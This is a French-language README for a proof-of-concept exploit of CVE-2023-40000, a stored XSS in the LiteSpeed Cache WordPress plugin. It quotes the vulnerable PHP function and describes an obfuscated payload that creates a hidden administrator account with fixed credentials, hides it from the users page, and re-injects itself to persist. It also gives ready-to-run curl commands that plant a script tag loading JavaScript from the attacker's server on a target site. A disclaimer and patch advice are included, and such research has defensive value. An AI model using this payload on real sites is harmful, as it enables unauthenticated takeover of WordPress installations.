
PoC pour une vulnérabilité XSS dans le plugin LiteSpeed Cache pour WordPress (CVE-2023-40000) permettant une élévation de privilèges. Inclut du code, des explications et des mesures d'atténuation.
Preuve de concept pour une vulnérabilité XSS dans le plugin WordPress LiteSpeed Cache permettant une élévation de privilèges. Cette vulnérabilité a été corrigée dans la version 5.7.0.1 du plugin, et a reçu l'identifiant CVE-2023-40000. Selon la page avancée du plugin, environ 35 % des utilisateurs utilisent encore une version vulnérable (<5.7.0.1), ce qui représente environ 1,8 million de sites web.
En raison du manque de nettoyage des entrées dans la fonction update_cdn_status, les utilisateurs (non authentifiés) peuvent envoyer une requête POST avec une valeur de formulaire _msg infectée qui est stockée puis affichée dans la section d'administration de WordPress. Cela peut permettre à quiconque de créer des comptes administrateur, d'élever ses privilèges ou de voler des informations sensibles en envoyant une seule requête POST non authentifiée. La fonction vulnérable se trouve ici ou ci-dessous, et la fonction Admin_Display::error se trouve ici.
/**
* Callback for updating Auto CDN Setup status after run
*
* @since 4.7
* @access public
*/
public function update_cdn_status() {
if ( !isset( $_POST[ 'success' ] ) || !isset( $_POST[ 'result' ] ) ) {
self::save_summary( array( 'cdn_setup_err' => __( 'Received invalid message from the cloud server. Please submit a ticket.', 'litespeed-cache' ) ) );
return self::err( 'lack_of_param' );
}
if (!$_POST[ 'success' ]) {
self::save_summary( array( 'cdn_setup_err' => $_POST[ 'result' ][ '_msg' ] ) );
Admin_Display::error( __( 'There was an error during CDN setup: ', 'litespeed-cache' ) . $_POST[ 'result' ][ '_msg' ] );
} else {
$this->_process_cdn_status($_POST[ 'result' ]);
}
return self::ok();
}
La preuve de concept dans ce dépôt contient un serveur Express NodeJS conçu pour obscurcir et délivrer la charge utile XSS, tout en capturant les pings et données entrants. Le script de la charge utile illustre les actions potentielles des attaquants exploitant cette vulnérabilité : il crée un compte administrateur avec le nom d'utilisateur "wp-config-user" et le mot de passe "somepassword123". La charge utile XSS, également déguisée en admin-bar-reloaded.min, masque la popup XSS initiale au chargement, cache complètement l'utilisateur créé dans la page d'administration users.php, et répète la requête POST initiale pour maintenir une XSS stockée persistante.
npm install pour installer les dépendances.node index.js.Utilisez la commande cURL suivante pour envoyer la requête POST au point de terminaison vulnérable :
curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"
curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" ^
-H "Content-Type: application/x-www-form-urlencoded" ^
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"
Le contenu de ce dépôt est fourni strictement à des fins éducatives et de recherche. Je ne suis pas responsable de toute utilisation abusive ou activité illégale découlant de l'utilisation de cette preuve de concept. De plus, un avertissement a été émis sur la page du plugin LiteSpeed Cache conseillant à tous les utilisateurs de mettre à jour leur logiciel en raison de cette vulnérabilité connue. Veuillez vous assurer que vos installations sont mises à jour vers la version 5.7.0.1 ou ultérieure pour atténuer ce problème.